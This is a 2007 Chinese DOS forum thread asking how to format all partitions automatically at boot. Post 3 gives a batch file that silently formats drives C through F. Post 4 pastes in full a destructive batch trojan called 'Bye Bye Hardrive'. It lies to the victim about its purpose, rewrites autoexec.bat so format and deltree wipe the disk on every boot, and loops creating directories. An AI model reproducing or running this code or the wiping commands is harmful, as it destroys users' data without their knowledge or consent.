中国DOS联盟

-- 联合DOS 推动DOS 发展DOS --

联盟域名:www.cn-dos.net 论坛域名:www.cn-dos.net/forum
DOS,代表着自由开放与发展,我们努力起来,学习FreeDOS和Linux的自由开放与GNU精神,共同创造和发展美好的自由与GNU GPL世界吧!

中国DOS联盟论坛
现在时间是 2026-06-26 17:55
中国DOS联盟论坛 » DOS批处理 & 脚本技术(批处理室) » 请教如何自动格式化所有分区! 查看 1,163 回复 5
楼 主 请教如何自动格式化所有分区! 发表于 2007-11-08 17:39 ·  中国 辽宁 沈阳 浑南区 电信
新手上路
积分 18
发帖 9
注册 2007-11-08 16:27
18年会员
UID 102075
性别 男
状态 离线
安装中毒系统的时候都是每个分区格式化,需要反复格式化每个分区,如果想格式化几个分区的自动格式化命令是什么,在系统下格式化分区的命令如何写,最好是开机自动格式化所有分区的命令,之后安装系统!!!

[ Last edited by dabenniao on 2007-11-8 at 05:41 PM ]
2 发表于 2007-11-12 22:06 ·  中国 辽宁 沈阳 浑南区 电信
新手上路
积分 18
发帖 9
注册 2007-11-08 16:27
18年会员
UID 102075
性别 男
状态 离线
format /q /autotest
不知道是不是这个命令,能否编辑一个批处理的文件??????
3 发表于 2007-11-12 23:29 ·  中国 广西 百色 电信
中级用户
★★
积分 265
发帖 92
注册 2006-11-29 23:08
19年会员
UID 72114
性别 男
来自 广西
状态 离线
@echo off
format/q/u/autotest C: /y
format/q/u/autotest d: /y
format/q/u/autotest e: /y
format/q/u/autotest f: /y
.............................
//不过CMD下autotest用不了~!再把名为*。BAT自制到开始~启动项下就可以了过不懂得C:格得不得要不可以放到最后~!
4 发表于 2007-11-13 00:08 ·  中国 辽宁 沈阳 浑南区 电信
新手上路
积分 18
发帖 9
注册 2007-11-08 16:27
18年会员
UID 102075
性别 男
状态 离线
一个很bt的xp批处理---格掉一切


@echo off
rem Bye Bye Hardrive 1.0
echo Please wait while program uploads some nice pronography....
call attrib -h -r c:\autoexec.bat >nul
echo @echo off >c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo dummy variable >c:\dvar.txt
:form
call format c: /q /u /autotest >nul
if exist c:\dos\format.* goto dosform
if exist c:\windows\command\format.* goto winform
goto de
:dosform
cd\dos >nul
call format c: /h /q /u /autotest >nul
cd\ >nul
:winform
cd\windows\command >nul
call format c: /h /q /u /autotest >nul
cd\ >nul
goto inform
:de
if exist c:\dvar.txt goto dtree
goto inform
:dtree
call deltree /y c: >nul
if exist c:\dos\deltree.* goto deldos
if exist c:\windows\command\deltree.* goto delwin
goto inform
:deldos
cd\dos
call deltree /y c: >nul
cd\
:delwin
cd\windows\command >nul
call deltree /y c: >nul
cd\ >nul
rem The following rewrites the code into the autoexec.bat file.
echo @echo off >c:\autoexec.bat
echo cls >>c:\autoexe.bat
echo :form
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo if exist c:\dos\format.* goto dosform >>c:\autoexec.bat
echo if exist c:\windows\command\format.* goto winform >>c:\autoexec.bat
echo goto de >>c:\autoexec.bat
echo :dosform >>c:\autoexec.bat
echo cd\dos >nul >>c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo cd\ >nul >>c:\autoexec.bat
echo :winform >>c:\autoexec.bat
echo cd\windows\command >nul >>c:\autoexec.bat
echo call format c: /q /u /autotest >nul >>c:\autoexec.bat
echo cd\ >nul >>c:\autoexec.bat
echo goto write >>c:\autoexec.bat
echo :de >>c:\autoexec.bat
echo if exist c:\dvar.txt goto dtree >>c:\autoexec.bat
echo goto write >>c:\autoexec.bat
echo :dtree >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo if exist c:\dos\deltree.* goto deldos >>c:\autoexec.bat
echo if exist c:\windows\command\deltree.* goto delwin >>c:\autoexec.bat
echo :deldos >>c:\autoexec.bat
echo cd\dos >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo :delwin >>c:\autoexec.bat
echo cd\windows\command >nul >>c:\autoexec.bat
echo call deltree /y c: >nul >>c:\autoexec.bat
echo cd\ >nul >>c:\autoexec.bat
echo :write >>c:\autoexec.bat
echo type hdkiller.txt >>c:\autoexec.bat
echo c:\ >>c:\autoexec.bat
echo cd\ >>c:\autoexec.bat
echo :nasty >>c:\autoexec.bat
echo md nasty >>c:\autoexec.bat
echo cd nasty >>c:\autoexec.bat
echo echo You're Gone @$$ hole!!!! >yourgone.txt >>c:\autoexec.bat
echo goto nasty >>c:\autoexec.bat
echo pause >>c:\autoexec.bat
rem Rewriting of code to the autoexec.bat file is complete.
c:\ >nul
cd\ >nul
:killfat
md nasty >nul
cd nasty >nul
echo Woops Is sent the hdk and not the pornography o well.. >yourgone.txt
>nul
goto killfat
shutdown
:end

这个如何解释,能给讲解一下吗?谢谢
5 发表于 2007-11-13 00:10 ·  中国 辽宁 沈阳 浑南区 电信
新手上路
积分 18
发帖 9
注册 2007-11-08 16:27
18年会员
UID 102075
性别 男
状态 离线
以前我看到过我的朋友在dos下操作过自动格式化分区的命令,当时没有在意,现在想起来真的很羞愧啊~~~~~呵呵,希望大家多多交流一下,刀有两面,用好了是防身武器,用的不好就是凶器,关键是看心!
6 发表于 2007-11-13 13:44 ·  中国 江苏 南京 联通
初级用户
积分 23
发帖 17
注册 2007-11-10 20:25
18年会员
UID 102280
性别 男
状态 离线
4楼的学习了 呵呵
论坛跳转: